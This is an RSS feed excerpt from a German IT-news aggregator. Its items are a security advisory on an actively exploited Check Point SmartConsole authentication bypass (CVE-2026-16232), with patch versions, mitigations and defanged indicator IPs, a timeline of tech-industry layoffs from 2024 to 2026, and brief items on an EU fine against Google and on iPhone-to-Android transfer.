<description><![CDATA[OverviewOn July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as impr...]]></description>
<link>https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</guid>
<pubDate>Thu, 23 Jul 2026 14:42:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 22, 2026, Check Point </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>published a security advisory</span></a><span> for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-16232/"><span>CVE-2026-16232</span></a><span>, an authentication bypass in the SmartConsole login process classified as improper authentication (</span><a href="https://cwe.mitre.org/data/definitions/287.html"><span>CWE-287</span></a><span>). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.</span></p><p><span>Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232"><span>added</span></a><span> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.</span></p><p><span>The advisory addresses three vulnerabilities in total:</span></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><thead><tr><th><p><span><strong>CVE</strong></span></p></th><th><p><span><strong>CVSS</strong></span></p></th><th><p><span><strong>Description</strong></span></p></th><th><p><span><strong>Affected Products</strong></span></p></th><th><p><span><strong>Exploitation Status</strong></span></p></th></tr></thead><tbody><tr><td><p><span>CVE-2026-16232</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Authentication bypass via SmartConsole application token</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>Exploited in the wild</span></p></td></tr><tr><td><p><span>CVE-2026-62144</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Management authentication bypass and privilege escalation</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>No known exploitation</span></p></td></tr><tr><td><p><span>CVE-2026-62145</span></p></td><td><p><span>7.5 (High)</span></p></td><td><p><span>Local privilege escalation in GaiaOS WebUI</span></p></td><td><p><span>Firewall, Multi-Domain Management, Multi-Domain Log Server</span></p></td><td><p><span>No known exploitation</span></p></td></tr></tbody></table><p></p><p><span>Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>advisory</span></a><span>, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.</span></p><p><span>Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-50751/"><span>CVE-2026-50751</span></a><span>, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, </span><a href="https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/"><span>CVE-2024-24919</span></a><span>, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.</span></p><h2>Mitigation guidance</h2><p><span>Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.</span></p><p><span>The following versions are affected by CVE-2026-16232:</span></p><ul><li><p><span>R82.10</span><span>: fixed in Jumbo Hotfix Take 36 and later</span></p></li><li><p><span>R82</span><span>: fixed in Jumbo Hotfix Take 118 and later</span></p></li><li><p><span>R81.20</span><span>: fixed in Jumbo Hotfix Take 158 and later</span></p></li><li><p><span>R81.10</span><span>, </span><span>R81</span><span>, </span><span>R80.30</span><span>, </span><span>R80.20</span><span>, </span><span>R80.10</span><span>, </span><span>R80</span><span>, and </span><span>R77.30</span><span>: no fix specified</span></p></li></ul><p></p><p><span>CVE-2026-62144 and CVE-2026-62145 affect the same release families (</span><span>R81.10</span><span>, </span><span>R81.20</span><span>, </span><span>R82</span><span>, </span><span>R82.10</span><span>) per the vendor advisory, with older versions also impacted.</span></p><p><span>Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:</span></p><ul><li><p><span>Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets</span></p></li><li><p><span>Protect Management access with a firewall and restrict access to trusted IP addresses</span></p></li><li><p><span>Verify that implied rules for control connections are enabled</span></p></li></ul><p><span>These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.</span></p><p><span>Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.</span></p><p><span>For the latest mitigation guidance, please refer to the vendor </span><a href="https://support.checkpoint.com/results/sk/sk185169"><span>advisory</span></a><span>.</span></p><h2>Rapid7 customers</h2><h3><span>Exposure Command, InsightVM, and Nexpose</span></h3><p><span>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.</span></p><h2>Indicators of compromise</h2><p><span>Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:</span></p><ul><li><p><span>151.241.99[.]207</span></p></li><li><p><span>151.241.99[.]233</span></p></li><li><p><span>158.62.198[.]182</span></p></li><li><p><span>192.142.10[.]99</span></p></li><li><p><span>139.28.37[.]250</span></p></li><li><p><span>194.213.18[.]137</span></p></li></ul><p></p><p><span>Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h2>Updates</h2><ul><li><p><span><strong>July 23, 2026</strong></span><span>: Initial publication.</span></p></li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[EU fines Google €890m over search and app store practices]]></title>
<description><![CDATA['The best products should succeed because they're better, not because they're owned by the company running the search engine,' said the EU's Teresa Ribera on today's decisions.
Read more: EU fines Google €890m over search and app store practices]]></description>
<link>https://tsecurity.de/de/3689047/it-nachrichten/eu-fines-google-890m-over-search-and-app-store-practices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689047/it-nachrichten/eu-fines-google-890m-over-search-and-app-store-practices/</guid>
<pubDate>Thu, 23 Jul 2026 14:34:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>'The best products should succeed because they're better, not because they're owned by the company running the search engine,' said the EU's Teresa Ribera on today's decisions.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/business/eu-fines-google-e890m-over-search-and-app-store-practices">EU fines Google €890m over search and app store practices</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google macht die Dateiübertragung von iPhone zu Android deutlich einfacher: So geht’s]]></title>
<description><![CDATA[Der Umstieg von einem iPhone auf ein Android-Smartphone ist soeben deutlich einfacher geworden. Wie Google gestern im Zuge der “Samsung Galaxy Unpacked“-Veranstaltung angekündigt hat, profitieren iPhone-Nutzer jetzt von einer deutlich simpleren Datenübertragung als bisher.



Direkt in Android 17...]]></description>
<link>https://tsecurity.de/de/3689046/it-nachrichten/google-macht-die-dateiuebertragung-von-iphone-zu-android-deutlich-einfacher-so-gehts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689046/it-nachrichten/google-macht-die-dateiuebertragung-von-iphone-zu-android-deutlich-einfacher-so-gehts/</guid>
<pubDate>Thu, 23 Jul 2026 14:34:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
